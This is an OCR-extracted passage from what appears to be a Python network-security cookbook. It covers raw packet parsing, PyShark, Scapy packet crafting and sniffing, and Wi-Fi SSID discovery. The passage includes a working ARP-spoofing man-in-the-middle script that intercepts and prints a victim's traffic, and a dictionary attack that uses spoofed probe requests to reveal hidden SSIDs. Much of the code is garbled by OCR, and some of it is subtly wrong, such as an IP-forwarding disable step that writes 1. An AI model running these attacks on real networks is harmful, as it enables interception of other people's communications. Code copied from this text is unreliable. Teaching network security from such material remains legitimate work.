field. The maximum size of the IP datagram is 65,535 bytes.
e Flags (three bits): The second bit represents the Don't Fragment bit. When this bit is set,



the IP datagram is never fragmented. The third bit represents the More Fragment bit. If this
bit is set, then it represents a fragmented IP datagram that has more fragments after it.

e Time To Live (eight bits): This value represents the number of hops that the IP datagram
will go through before being discarded.

¢ Protocol (eight bits): This represents the transport layer protocol that handed over data to
the IP layer.

e Header Checksum (16 bits): This field helps to check the integrity of an IP datagram.

¢ Source and destination IP (32 bits each): These fields store the source and destination
address, respectively.

o Refer to the RFC 791 document for more details on IP headers: https://tools.ietf.org/html/
rfc791


https://tools.ietf.org/html/rfc791

How to do it...

Following are the steps to parse a packet:

1. Create a new file called basic-parse-packet-packet-1inux.py and import the modules required to
parse the packets:

from struct import *
import sys

2. Now we can create a function to parse the Ethernet header:

def ethernet_head(raw_data):
dest, src, prototype = struct.unpack('! 6s 6s H', raw data[:14])
dest_mac = get_mac_addr(dest)
src_mac = get_mac_addr(src)
proto = socket.htons(prototype)
data = raw_data[14:]
return dest_mac, src_mac, proto, data

Here we use the unpack method in the struct module to unpack the headers. From the
Ethernet frame structure, the first six bytes are for the destination MAC, the second 6
bytes are for the source MAC, and the last unsigned short is for the Ether Type. Finally,
the rest is data. So, this function returns the destination MAC, source MAC, protocol, and
data.

3. Now we can create a main function and, in the ethernet_nead(), parse this function and get the
details:

def main():
s = socket.socket(socket.AF_PACKET, socket.SOCK RAW, socket.ntohs(3))
while True:
raw_data, addr = s.recvfrom(65535)
eth = ethernet(raw_data)
print('\nEthernet Frame:')
print('Destination: {}, Source: {}, Protocol: {}'.format(eth[0], eth[1], eth[2]))

main()

4. Now we can check the data section in the Ethernet frame and parse the IP headers. We can
create another function to parse the ipva headers:

def ipv4 _head(raw_data):
version_header_length = raw_data[0]
version = version_header_length >> 4
header_length = (version_header_length & 15) * 4
ttl, proto, src, target = struct.unpack('! 8x B B 2x 4s 4s', raw_data[:20])
data = raw_data[header_length:]
return version, header_length, ttl, proto, src, target, data

As per the IP headers, we will unpack the headers using the unpack method in struct, and
return the version, header_lentgth, tt1, protocol source, and destination IPs.

5. Now update main() to print the IP headers:



def main():

s = socket.socket(socket.AF_PACKET, socket.SOCK RAW, socket.ntohs(3))

while True:
raw_data, addr = s.recvfrom(65535)
eth = ethernet(raw_data)
print('\nEthernet Frame:')
print('Destination: {}, Source: {}, Protocol: {}'.format(eth[0], eth[1], eth[2]))
if eth[2] == 8:

ipv4 = ipv4(ethp[4])

print( '\t - ' + "IPv4 Packet:')

print('\t\t - ' + 'Version: {3}, Header Length: {}, TTL:{},'.format(ipv4[1], ipv4[2],
ipv4[3]))

print('\t\t - ' + 'Protocol: {}, Source: {}, Target: {}'.format(ipv4[4], ipv4[5],
ipva[6]))

6. Currently, the IP addresses printed are not in a readable format, so we can write a function
to format them:

def get_ip(addr):
return '.'.join(map(str, addr))

Make sure to update the ipva_nhead function to format the IP address by adding the
following lines before returning the output:

src = get_ip(src)
target = get_ip(target)

7. Now that we have the internet layer unpacked, the next layer we have to unpack is the
transport layer. We can determine the protocol from the protocol ID in the IP header. The
following are the protocol IDs for some of the protocols:

TCP: 6

ICMP: 1

UDP: 17

RDP: 27

8. Next, we can create a function to unpack the TCP packets:

def tcp_head( raw_data):
(src_port, dest_port, sequence, acknowledgment, offset_reserved flags) = struct.unpack(
'"' HHLLH', raw_data[:14])
offset = (offset_reserved _flags >> 12) * 4
flag urg = (offset_reserved flags & 32) >> 5

flag ack = (offset_reserved flags & 16) >> 4
flag psh = (offset_reserved flags & 8) >> 3

flag rst = (offset_reserved flags & 4) >> 2

flag syn = (offset_reserved flags & 2) >> 1

flag fin = offset_reserved flags & 1

data = raw_data[offset:]
return src_port, dest_port, sequence, acknowledgment, flag urg, flag ack, flag psh, flag rst,
flag syn, flag fin, data

The TCP packets are unpacked according to the TCP packet header's structure:
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9. Now we can update main() to print the TCP header details. Add the following lines inside the
ipv4 section:
if ipv4[4] == 6:
tcp = tcp_head(ipv4[7])
print(TAB_1 + 'TCP Segment:')
print(TAB_2 + 'Source Port: {}, Destination Port: {}'.format(tcp[0], tcp[1]))
print(TAB_2 + 'Sequence: {}, Acknowledgment: {}'.format(tcp[2], tcp[3]))
print(TAB_2 + 'Flags:')
print(TAB_3 + 'URG: {}, ACK: {3}, PSH:{}'.format(tcp[4], tcp[5], tcp[6]))
print(TAB_3 + 'RST: {}, SYN: {}, FIN:{}'.format(tcp[7], tcp[8], tcp[9]))
if len(tcp[10]) > O:
# HTTP
if tcp[0] == 80 or tcp[1] == 86O:
print(TAB_2 + 'HTTP Data:')
try:
http = HTTP(tcp[10])
http_info = str(http[10]).split('\n')
for line in http_info:
print (DATA_TAB_3 + str(line))
except:
print(format_multi line(DATA_TAB_3, tcp[10]))
else:
print(TAB_2 + 'TCP Data:')
print(format_multi line(DATA_TAB_3, tcp[10]))
10. Similarly, update the functions to unpack the UDP and ICMP packets.
The packets are unpacked according to the packet header structure. Here is the packet
header structure for ICMP:
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According to the diagram, we can unpack the packet using the following code:

elif ipv4[4] == 1:
icmp = icmp_head(ipv4[7])
print('\t -' + "ICMP Packet:')
print('\t\t -' + 'Type: {}, Code: {3}, Checksum:{},'.format(icmp[0], icmp[1], icmp[2]))
print('\t\t -' + '"ICMP Data:')
print(format_multi_line('\t\t\t', icmp[3]))



Here is the packet header structure for UDP:
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As we did for the ICMP, we can unpack the UDP packet headers as follows:

elif ipv4[4] == 17:
udp = udp_head(ipv4[7])
print('\t -' + 'UDP Segment:')

print('\t\t -' + 'Source Port: {}, Destination Port: {}, Length: {}'.format(udp[0], udp[1],
udp[2]))

Now save and run the script with the required permission:

| sudo python3 basic-parse-packet-linux.py

The output will print all the packets that were sniffed. So, it will continue printing until
we stop it with a keyboard interrupt. The output will be as follows:






PyShark

PyShark is a wrapper for the Wireshark CLI (TShark), so we can have all Wireshark decoders in
the PyShark. We can use PyShark to sniff an interface or we can analyze the pcap files.



Getting ready

When using this module, make sure to install Wireshark on your system and install pyshark using
the pip command:

| pip3 install pyshark

Also, make sure you have installed TShark on your machine. TShark is the terminal-based
Wireshark, which is used by PyShark for packet capturing functions.

0 Learn more about TShark here: https://www.wireshark.org/docs/wsug_html_chunked/AppToolstshar
k.html


https://www.wireshark.org/docs/wsug_html_chunked/AppToolstshark.html

How to do it...

Lets try PyShark with some examples. Make sure to install TShark in your system.

1. For a better understanding, we can use the Python interactive terminal and go through the
functions of PyShark. Please note that these commands can also be included in the scripts.
The only dependency is TShark.

2. Import the pyshark module:

| >>> import pyshark

3. Now load the pcap file to pyshark:

| >>> cap = pyshark.FileCapture('sample.pcap')

We can sniff from a live interface with the following commands:

>>> cap = pyshark.LiveCapture(interface="'wlp3s0b1')
>>> cap.sniff(timeout=3)

This will sniff the interface for the next 3 seconds
4. Now you can get the packet details from the cap variable.

To print out the first packet details, we can use the following command:

| >>> print(cap[0])

The output will be as follows:

You can view all the possible options with dir():



| >>> print(dir(cap[0]))

To view them in a pretty format, we can use the pprint module:

>>> import pprint
>>> pprint.pprint(dir(cap[0]))

This will print all the possible options for a packet in PyShark. The output will be as
follows:

pprint(

5. You can iterate through each packet as follows:

| for pkt in cap: print(pkt.highest_layer)



6. We can get the stream of filtered packets to pyshark as follows:

cap = pyshark.LiveCapture(interface='en0', bpf_filter='ip and tcp port 80')
cap.sniff(timeout=5)

This will filter out the packets, except, TCP/IP to port se



Scapy Basics

In this chapter, we will cover the following recipes:

Creating a packet with Scapy

Sending and receiving packets with Scapy
Layering a packet

Reading and writing to a PCAP file
Sniffing packets

ARP man-in-the-middle tool with Scapy



Introduction

Scapy is a powerful Python module for packet manipulation. It can decode and create packets for
a wide variety of protocols. Scapy can be used for scanning, probing, and network discovery
tasks inside Python programs.



Creating a packet with Scapy

As we know, the basic unit of network communication is a packet. So we can start by creating a
packet with Scapy. Scapy creates packets in layers; each layer is nested inside its parent layer.



Getting ready

As we require a Scapy module to be installed in the environment, make sure to install it with the
pip command:

| pip install scapy

After installation, make sure it's working by issuing the scapy command in your Terminal:

scapy
Welcome to Scapy (3.0.0)
>>>

This will open up an interactive Terminal for Scapy. You can also use this for basic debugging of
Scapy scripts. A list of all the protocols supported by Scapy is as follows:

| >>> 1s()

Similarly, we can get the details and parameters in each protocol, as follows:

| >>> 1s(uppP)

: ShortField = (None)

: XShortField (None)




How to do it...

Following are the steps to create packets with the scapy module:

1. Create a new file called scapy-packet.py and open it in your editor.
2. As usual, import the scapy module and pprint for better readable printing:

from scapy.all import *
from pprint import pprint

3. Packets are crafted by defining the packet headers for each protocol layer of TCP/IP and
stacking them in the correct order. So, we can create the first layer of a TCP packet with the
following:

| ethernet = Ether()

4. Then we can create the IP layer of the packet, as follows:

| network = IP(dst='192.168.1.1/30"')

As it's the network layer, we have to pass the destination IP as the parameter. Scapy
accepts different IP notations, as follows:

¢ Plain dotted-quad notation:

network = IP(dst='192.168.1.1")

e CIDR notation:

network = IP(dst='192.168.1.1/30"')

e Hostnames:

| network = IP(dst = 'rejahrehim.com')

Also, we can set multiple destinations by passing the destinations as a list:

| network = IP(dst = ['rejahrehim.com', '192.168.1.1', '192.168.12'])

5. Similarly, we can create the transport layer. In our case, it is a TCP layer. We can create it
as follows:

| transport = TCP(dport=53, flags = 'S')

Here we pass the destination port and the flag is set to s for a SYN packet. We can also
pass the destination ports as a list for creating multiple packets:

| transport = TCP(dport=[(53, 100)], flags = 'S')

6. Next we can stack these layers with the / operator:



| packet = ethernet/network/transport

7. Now we can check the packets generated by printing them with pprint:

| pprint([pkt for pkt in packet])

We can also use 1s() to inspect a packet:

for pkt in packet:
1s(pkt)

Another option to get the packet details is the show() method in the packet:

for pkt in packet:
pkt.show()

Now we can create a single packet with a script. The script will be as follows:

from scapy.all import *
from pprint import pprint
ethernet = Ether()
network = IP(dst = ['rejahrehim.com'])
transport = TCP(dport=[(80)], flags = 'S')
packet = ethernet/network/transport
for pkt in packet:
pkt.show()

This will create a TCP/IP packet with the SYN flag set, the destination address https://rejahre
him.com/, and the destination port se.

8. Now run the script with the sudo permission:

| sudo python3 scapy-packet.py

The output will be as follows:

Here we can see that scapy has identified the source IP as the local IP, and automatically
added those details to the packet.


https://rejahrehim.com/

9. As you will have noticed, the first line of the response is a warning message saying no route
found for IPVe destination. We can avoid these less important messages by using the 1ogger
module. To do this, import and set the logging level to error (Which will only print the error
messages) before importing Scapy. This can be achieved by adding the following lines at
the top of the script. This step is applicable to all recipes that use the scapy module:

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)



Sending and receiving packets with Scapy

We have already created some packets in the previous recipe. Now we can send and receive
those packets with Scapy.



How to do it...

Following are the methods to send and receive packets with scapy module:

1. Make sure to import the required modules:

from scapy.all import *
from pprint import pprint

2. We can use the send() function to send packets at layer 3. In this case, Scapy will handle the
routing and layer 2 within it:
network = IP(dst = '192.168.1.1"')
transport = ICMP()

packet = network/transport
send (IP(packet)

This will send an ICMP packet

3. To send a packet with custom layer 2, we have to use the sendp() method. Here we have to
pass the interface to be used for sending the packet. We can provide it with the iface
parameter. If this is not provided, it will use the default value from conf.iface:

ethernet = Ether()
network = IP(dst = '192.168.1.1"')
transport = ICMP()

packet = ethernet/network/transport
sendp(packet, iface="en0")

4. To send a packet and receive a response, we have to use the sr() method:

ethernet = Ether()

network = IP(dst = 'rejahrehim.com')
transport = TCP(dport=80)

packet = ethernet/network/transport
sr(packet, iface="en0")

5. We can use the sr1() method to send a packet or group of packets, and to record only the
first response:

| sri(packet, iface="eno")

6. Similarly, we can use srioop() to loop the process of sending stimulus packets, receive the
response, and print them.

| srloop(packet)



Layering packets

In Scapy, each packet is a collection of nested dictionaries, as Scapy uses Python dictionaries as
the data structure for packets. Starting from the lowest layer, each layer will be a child dictionary
of the parent layer. Also, each and every field inside the layer of a packet is a key value pair
inside the dictionary for that layer. So, we can make changes in this field using the assignment
operations.



How to do it...

To understand the layering in Scapy, we can go through the following steps:

1. We can get the details of a packet and its layered structure using the show() method. We can
use the interactive Terminal for inspecting and determining more about each packet's
structure. Open up the Terminal and type the following:

| >>> scapy

Next, create a packet and show its details, as follows:

>>> pkt = Ether()/IP(dst='192.168.1.1')/TCP(dport=80)
>>> pkt.show()

Then it will print out the structure of the packet we created:

>>> pkt.show()

Even if we don't provide the source addresses, Scapy automatically assigns the source
address.

2. We can get the summary of a packet using the summary() method:

| >>> pkt.summary()

3. We can get each layer of a packet through its list index or its name:



>>> pkt[TCP].show()
>>> pkt[2].show()

Both will print the details of the TCP layer, as follows:

4. Similarly, we can get each field inside the layers. We can get the destination IP address of a
packet, as follows:

| >>> pkt[IP].dst

5. We can test the existence of a specific layer with the hasiayer()method:

>>> if (pkt.haslayer(TCP)):
....print ("TCP flags code: " + str(pkt.getlayer(TCP).flags)

Similarly, can get a specific layer with the get1ayer() method

6. We can use the Scapy sniff() function to sniff the network and the filter argument to get a
specific type of packet from the sniffed packets:

>>> pkts = sniff(filter="arp", count=10)
>>> print(pkts.summary())



Reading and writing to pcap files

The pcap files are used to save the captured packets for later use. We can read packets from a
pcap file and write them to a pcap file using Scapy.



How to do it...

We can write a script to read and write pcap files with Scapy as follows:

1. We can import the pcap file to Scapy, as follows:

packets = rdpcap("sample.pcap")

from scapy.all import *
packets.summary()

2. We can iterate and work with the packets as we did for the created packets:

if packet.haslayer (UDP):

for packet in packets:
print(packet.summary())

3. We can also manipulate the packets during the import itself. If we want to change the
destination and source MAC address of the packets in the captured pcap file, we can do it
while importing, as follows:

from scapy.all import *
packets = []
def changePacketParameters(packet):
packet[Ether].dst = '00:11:22:dd:bb:aa’'
packet[Ether].src = '00:11:22:dd:bb:aa’'
for packet in sniff(offline='sample.pcap', prn=changePacketParameters):
packets.append(packet)
for packet in packets:

if packet.haslayer(TCP):

print(packet.show())

Here we define a new function, changepacketparameters(), to iterate through each packet, and
update its source and destination MAC addresses inside the Ethernet layer. Also, we will
call that function inside the sniff() section as prn.

4. We can export packets to a pcap file with the wrpcap() function:

| wrpcap("editted.cap", packets)

5. We can also filter the packets that we will write into a pcap file with Scapy:

from scapy.all import *
packets = []
def changePacketParameters(packet):
packet[Ether].dst = '00:11:22:dd:bb:aa’
packet[Ether].src = '00:11:22:dd:bb:aa’
def writeToPcapFile(pkt):
wrpcap('filteredPackets.pcap', pkt, append=True)
for packet in sniff(offline='sample.pcap', prn=changePacketParameters):
packets.append(packet)
for packet in packets:
if packet.haslayer(TCP):
writeToPcapFile(packet)
print(packet.show())

6. We can replay the packets captured in the pcap file with the sendp() method:



sendp(packets)

We can read and replay the packets with one line of code in Scapy:

sendp(rdpcap("sample.pcap"))



Sniffing packets

Scapy has a sniff() function that we can use for getting packets from the network. But Scapy's
built-in sniff() function is a bit slow and may skip some packets. It is better to use tcpdump When

the sniffing speed is important.



How to do it...

Here are the steps to write a sniffer with scapy module:

1. Create a file called scapy-sniffer.py and open it with your editor.
2. As usual, import the required modules for the script:

import sys
from scapy.all import *

3. Then, define the variables required. Here we need to define the interface to sniff:

| interface = "eno"

You can get the interface to be used with the help of the ifconfig command in Linux and
macOS:

4. Now we can write a function to handle the sniffed packets, which will be provided as the
callback function for the sniffer:
def callBackParser(packet):
if IP in packet:
source_ip = packet[IP].src
destination_ip = packet[IP].dst
if packet.haslayer (DNS) and packet.getlayer(DNS).qr == 0:

print("From : " + str(source_ip) + " to -> " + str(destination_ip) + "( " +
str(packet.getlayer(DNS).qd.qname) + " )")

Here we get the source and destination IP of all the DNS packets, and extract the domain
for those DNS packet

5. Now we can use the sniff() method to start sniffing and passing the packet to the callback
function:

| sniff(iface=interface, prn=callBackParser)
This will start sniffing for the packets from the interface specified in the variable.

6. Now we can start the script with the sudo permission:



| sudo python3 scapy-sniffer.py

The output will be as follows:

7. We can print the payload in the sniffed packet as follows:

if TCP in packet:
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
print(packet[TCP].payload)
except:
pass



ARP man-in-the-middle tool with Scapy

A man-in-the-middle attack means that the attacker sits between the source and destination to
pass all the data through the attacking system. This will allow the attacker to view the victim's
activities. We can write a small script in Python with the help of Scapy to run a man-in-the-
middle attack.



How to do it...

For better understanding we can write a script, following the steps:

1. Create a new file named mitm-scapy.py and open it in your editor.
2. As usual, import the required module:

from scapy.all import *

import os

import time
import sys

Here we import Scapy along with the os, time, and sys modules, which are required in the
script.

3. Now we have to define the variables for the script. We can get the variable details with the
raw_input Mmethod in Python 2.x or input() in Python 3.x, rather than defining it in the script:
interface "en0"

source_ip "192.168.1.1"
destination_ip = "192.168.1.33"

4. As we have to get the MAC addresses of the source and destination to craft an ARP
response, we will request both with an ARP request and parse the response to get the MAC
addresses. Now we have to create a function to get the MAC addresses:

def getMAC(IP, interface):

answerd, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 5,
iface=interface, inter = 0.1)

for send,recieve in answerd:

return recieve.sprintf(r"%Ether.src%")

This will return the MAC address of the IP provided while calling this function

5. Now we will create a function to toggle the IP forwarding. This is different for Linux and
macOS:
e For macOS:

def setIPForwarding(set):
if set:
#for 0SX
os.system('sysctl -w net.inet.ip.forwarding=1")
else:
#for 0SX
os.system('sysctl -w net.inet.ip.forwarding=0")

e For Linux:

def setIPForwarding(set):
if set:
#for Linux
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
else:
#for Linux
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')



Now we have to write another function to re-establish the connection between the victim
and the source. This is to make sure that the interception is not identified by the victim:

def resetARP(destination_ip, source_ip, interface):

destinationMAC = getMAC(destination_ip, interface)

sourceMAC = getMAC(source_ip, interface)

send(ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=destinationMAC, retry=7))

send(ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=sourceMAC,
retry=7))

setIPForwarding(False)

In this function, we first get the MAC addresses of both the source and the destination
using the function we wrote: getmac(). Then, we will send requests to the source as if was
from the destination. Also, we will send requests to the destination as if it was from the
source. Finally, we reset the IP forwarding with the function we wrote: set1pForwarding()

Now we will do the actual attack. For that we will write a function:

def mitm(destination_ip, destinationMAC, source_ip, sourceMAC):
arp_dest_to_src = ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst=destinationMAC)
arp_src_to_dest ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst=sourceMAC)
send(arp_dest_to_src)
send(arp_src_to_dest)

This will send the packet to both the source and destination, indicating that our interface
is the destination of the source and the source for the destination

Next, we have to set a callback function to parse the sniffed packets from the interface:

def callBackParser(packet):
if IP in packet:
source_ip = packet[IP].src
destination_ip = packet[IP].dst
print("From : " + str(source_ip) + " to -> " + str(destination_ip))

Now we will define the main() function to call the attack:

def main():
setIPForwarding(True)
try:
destinationMAC = getMAC(destination_ip, interface)
except Exception as e:
setIPForwarding(False)
print(e)
sys.exit(1)
try:
sourceMAC = getMAC(source_ip, interface)
except Exception as e:
setIPForwarding(False)
print(e)
sys.exit(1)
while True:
try:
mitm(destination_ip, destinationMAC, source_ip, sourceMAC)
sniff(iface=interface, prn=callBackParser,count=10)
except KeyboardInterrupt:
resetARP(destination_ip, source_ip, interface)
break
sys.exit(1)
main()

This will create an infinite loop to set the attack and sniff the packets.



Wi-Fi Sniffing
In this chapter, we will cover the following recipes:

Finding Wi-Fi devices

Finding SSIDs

Exposing hidden SSIDs
Dictionary attack on hidden SSIDs
Fake access points with Scapy



Introduction

We have learned to use the Scapy module in Python. Now we can utilize the Scapy module for
sniffing access points and their MAC addresses. Before that, it would be useful to have an idea
of SSIDs. A Service Set Identifier (SSID) is the name of the wireless network that helps to
separate the multiple signals in the same network. We can use the SSID to identify and connect
to a network.



Finding Wi-Fi devices

The process of joining a Wi-Fi network is simple. The devices can listen for other devices to
identity them. These identifiers are broadcast continuously and are known as beacons. These
types of unique beacons are broadcast by the devices, which act as access points. These beacons
include an SSID that acts as the name of that access point. Every SSID broadcasts its own unique
beacon frame to notify any listening device that this SSID is available and it has particular
capabilities. We can sniff the packets in the Wi-Fi interface to get the Wi-Fi devices available in
the area by listening to these beacons broadcast by the access points. Here we use Scapy to
analyze the packets captured by the interface to extract the beacons.



Getting ready

As we have to sniff the packets from the interface, we require a Wi-Fi card capable of sniffing
the Wi-Fi signals with the Monitor Mode. So we have to make sure the card is capable of
sniffing. Then we have to set the interface to the Monitor Mode which is different for different
operating systems. As Scapy has some limitations in the Windows systems, we have to run this
recipe in a Linux or macOS environment.

Before we start coding, we have to get an idea about the Wi-Fi packets. As with the other
packets, Wi-Fi packets also have a structure. According to the specification 802.11, each beacon
frame from the access point contains a lot of information about the specific SSID.

Here is the frame format for an 802.11 mgmt beacon frame:

MAC header
bytes 2 2 6 6 6 2 | Variable 4
I I I I I I I I I I I I I I I I I I I
Frame : Seq- | Frame
Contro|Puration DA SA BSSID ol Body FCS
| | | | | | | | | | | | | | | | | _'I_ = | | |
bytes ___.8------"2"""2 \Variable Variable 2 8 4 Variable
T T 11 1 I I I TR e T T T T
B Capabili DS CF IBSS
Timestamp mﬁm a;;;;rty 55 Iﬂgg Suﬁpgggedg Parastgteter Par%rgtetar Parasllteter TIM
| | | | | | | | | I | I | | | | | | | |
Il >
Mandatory Optional
Variable 3 6 8 E 3 Variable Variable
T T | I T T I I T I | T T | T T T T T
Country Power Channel : TPC Extended Robust
Info { Constraint Switch ot Report | ERP | rates 3 Security Network
| 1 | | 1 | | | | | | 1 | | | | | | |

gl
Optional (continued)

From this, we can get an idea of the content of the beacon frame. The really important items in
the beacon frame are as follows:

e SSID name: This is a 1-32 character name of the WLAN network and is present in all
beacons. The Wireshark capture will display the SSID tag as follows:



v Tagged parameters (104 bytes)
v Tag: SSID parameter set: Coherer
Tag Number: SSID parameter set (@)
Tag length: 7
SSID: Coherer

e BSSID: This is a unique layer 2 MAC address of the SSID. Here is what it looks like in the
Wireshark capture:

v IEEE 802.11 Beacon frame, Flags: .ususss- €

Type/Subtype: Beacon frame (0x0008)

» Frame Control Field: 0x8000
.000 0000 0000 0000 = Duration: @ microseconds
Receiver address: Broadcast (ff:ff:ff:ff:ff:ff)
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Transmitter address: Cisco-Li_82:b2:55 (00:0c:41:82:b2:55)

(/;guuxefaddTESST*Llsco—Ll_Bz:Dz: +8e€:41:82:b2:55)
__BSS Id: Cisco-Li_82:b2:55 (00:2c:41:82:b2:55)/

vees Tii—e.. 0000 = Fragment number:—0—
1111 1000 0101 .... = Sequence number: 3973
Frame check sequence: 0x5cc9619f [correct]
[FCS Status: Good]

e Timestamp: This represents the time on the access point.

e Security capabilities: This item refers to the security capabilities of the access point, such
as open, WEP, WPA, WPAZ2, personal (passphrase) versus enterprise (802.1x with
RADIUS server). Here is what it looks like in the Wireshark capture:

v IEEE 802.11 wireless LAN
v Fixed parameters (12 bytes)
Timestamp: 0x000000011bd41189
Beacon Interval: 0.102400 [Seconds]
v Capabilities Information: ©x0411

vass ssss saas waal = ESS capabilities: Transmitter is an AP
vass ssss sxaes «a@0. = IBSS status: Transmitter belongs to a BSS
verse 240, vu.. @0.. = CFP participation capabilities: No point coordinator at AP (0x00)
vass wass aasl ouww = Privacy: AP/STA can support WEP

vise =ass 220, .... = Short Preamble: Not Allowed
vass wass 2040 ouw. = PBCC: Not Allowed

« B... .... = Channel Agility: Not in use
vass s2:@ suus wua. = Spectrum Management: Not Implemented

.1.. .... .... = Short Slot Time: In use

vase @uee vuws waa. = Automatic Power Save Delivery: Not Implemented
+v:® ... .... .... = Radio Measurement: Not Implemented
va@: waes weaw waae = DSSS-OFDM: Not Allowed
.@0.. .... ... .... = Delayed Block Ack: Not Implemented

Bivr waus wuss 2aa = Immediate Block Ack: Not Implemented

e Channel: This indicates the specific frequency that the SSID on this AP is operating on.
Here is it what it looks like in the Wireshark capture:



v 802.11 radio information
PHY type: 802.11b (4)
Short preamble: False
Data rate: 1.0 Mb/s
Channel: 1
Frequency: 2412MHz

v [Duration: 1344us]
[Preamble: 192us]

¢ Channel width: This indicates the width of the channel, such as 20, 40, 80, and 160 mbps.

e Country: This provides a list of all the supported channels and corresponding channel
settings. Each country has its own regulatory bodies that decide the channels or power
levels allowed in their regulatory domain. This tag defines the country of operation and the
allowed channels and the allowed maximum transmit limit.

¢ Beacon interval: This indicates how often the AP broadcasts this beacon frame. Here is
what it looks like in the Wireshark capture:

v IEEE 802.11 wireless LAN
v Fixed parameters (12 bytes)
Timestamp: 0x000000011bd4f189
Beacon Interval: 0.102400 [Seconds]



How to do it...

Enable the Monitor Mode in the network interface. This is different for different operating
systems. Also, not all network cards support the Monitor Mode. We have to use a terminal
command to do this as it is not possible through Python script. This will put the network card
Interface as wlanO into the Monitor Mode.



Linux

Follow the steps to enable Monitor Mode in a Linux environment:

1. This can be done with the airmon-ng package. Please make sure you install the airmon-ng
package for this. Also, make sure you provide the correct interface as the parameter:

| airmon-ng start wlan0

2. It can also be done with the following networking commands:

iw dev wlan@ set type monitor

ifconfig wlan0@ down
ifconfig wlan@ up

3. To disable the Monitor Mode, we can use the following commands:

iw dev wlanl set type managed

ifconfig wlan0@ down
ifconfig wlan@ up



macOS

Follow the steps to enable Monitor Mode in a macOS environment:

1. We can use the airport utility command to enable the Monitor Mode in macOS. As this is a
binary command in the library, we can symlink this to usr/iocal/bin/:

sudo 1ln -s
/System/Library/PrivateFrameworks/Apple80211. framework/Versions/Current/Resources/airport

/usr/local/bin/airport

Now we can select the channel to sniff with airport :

| airport en@ channel 7

Then we can start sniffing with the following command:

| sudo airport en® sniff

This will sniff the interface ene and save to a pcap file inside a tmp/ folder such as this:
/tmp/airportsniffxxxxxx.pcap. We can analyze this file with Scapy.

N

. Now create a wiri-sniff.py file and open it in your editor.
. As usual, load the required modules:

w

| from scapy.all import *

4. Now we can define the required variable. Here we will create a list for the access points:

| access_points = []

5. Now we can define the callback function to parse the packets:

def parsePacket(pkt):
if pkt.haslayer(Dot11):
print (pkt.show())

This will print the captured Wi-Fi packets. The output will be as follows:



len
info

For the 802.11 packet layer, the main variables are:

type=o: This indicates that the frame is a management frame (type 0)

subtype=8: This indicates the management frame's subtype is a beacon (type 8)
addr1: Destination MAC address

addr2: Source MAC address of the sender

addr3: MAC address of the access point

From the preceding details, we can update the parser function to get the Wi-Fi MAC
address:

def parsePacket(pkt):
if pkt.haslayer(Dot11):
if pkt.type == 0 and pkt.subtype == 8:
if pkt.addr2 not in ap_list:
print(pkt.addr2)

Now call the sniff function and pass the packets to the caiiback function:

sniff(iface="'en0', prn=parsePacket, count=10, timeout=3, store=0)

Save the script and call with the sudo permission:

$ sudo python3 Wi-Fi-sniff.py



Finding SSIDs

To get the SSID, we need to update the previous recipe and parse the SSID from the packets.



How to do it...

Following are the steps to write a SSID sniffer script with scapy module:

—_

. Create a sniff-ssid.py file and open it in your editor.
. Import the module required:

N

| from scapy.all import *

3. Now create a function to parse the SSID from the packet:

def parseSSID(pkt):
if pkt.haslayer(Dot11):
print(pkt.show())
if pkt.type == 0 and pkt.subtype == 8:
ap_list.append(pkt.addr2)
print("SSID:" + pkt.info)

4. Now run the snifr and call the parse function on the callback.

| sniff(iface='en0', prn=ssid, count=10, timeout=3, store=0)

5. Now run this script with the sudo permission:

| $ sudo python3 sniff-ssid.py



Exposing hidden SSIDs

We can modify the previous recipe to get the hidden SSIDs. With Scapy, we can identify probe
answers and requests to extract the hidden SSIDs.



How to do it...

Follow the steps to write a script to expose hidden SSIDs:

1. Create a sniff-hidden-ssid.py file and open it in the editor.
2. Import the scapy module and create a dictionary for the identified SSIDs:

from scapy.all import *
hiddenSSIDs = dict()

3. Now create the function to parse the hidden SSIDs from the packets:

def parseSSID(pkt):
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
if not hiddenSSIDs.has_key(pkt[Dot11].addr3):

ssid = pkt[Dot11E1lt].info

bssid = pkt[Dot11].addr3

channel = int( ord(pkt[Dot11E1lt:3].info))

capability = pkt.sprintf("{Dot11Beacon%Dotl11Beacon.cap%}\

{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
if re.search("privacy", capability):
encrypted = 'Y'
else:
encrypted = 'N'
hiddenSSIDs[pkt[Dot11].addr3] =[encrypted, ssid, bssid, channel]
print (hiddenSSIDs)

Here it checks for the probe response and request to extract the BSSID and SSID

4. Finally, snifr the packet and pass it to the caiiback function.

| sniff(iface='wlan@', prn=parseSSID, count=10, timeout=3, store=0)

5. Now run this script with the root permission:

| sudo sniff-hidden-ssid.py



Dictionary attack on hidden SSIDs

With hidden SSIDs, we could run a dictionary attack to identify the hidden SSIDs. For that, we
will iterate through a list of SSIDs and send a broadcast packet with a particular SSID. If the
SSID exists, the access point will respond with a packet. So, we could start the SSID sniffer we
created in the previous recipe and wait for the response from the access point while running the
brute force attack with the SSIDs.



How to do it...

Here are the steps to write a script that can be used to run a dictionary attack on SSIDs:

1. Asusual, create a new dictionary-attack-ssid.py file and open it in an editor.
2. Load all the required modules, and initialize the variables:
from scapy.all import *

senderMac = "aa:aa:aa:aa:aa:aa"
broadcastMac = "ff:ff:ff:ff:ff:ff"

3. Then, we iterate through the SSIDs in the list and send a radioTap() packet with the SSID set
as the parameter:

for ssid in open('ssidList.txt', 'r').readlines():

pkt = RadioTap()/Dot11(type = 0, subtype = 4 ,addrl = broadcastMac, addr2 = senderMac, addr3
= broadcastMac)/Dot11ProbeReq()/Dot11E1t(ID=0, info =ssid.strip()) / Dot11Elt(ID=1, info =
"\x02\x04\x0b\x16") / Dot11E1lt(ID=3, info="\x08")

print ("Checking ssid:" + ssid)

print(pkt.show())

sendp (pkt, iface ="en@", count=1)

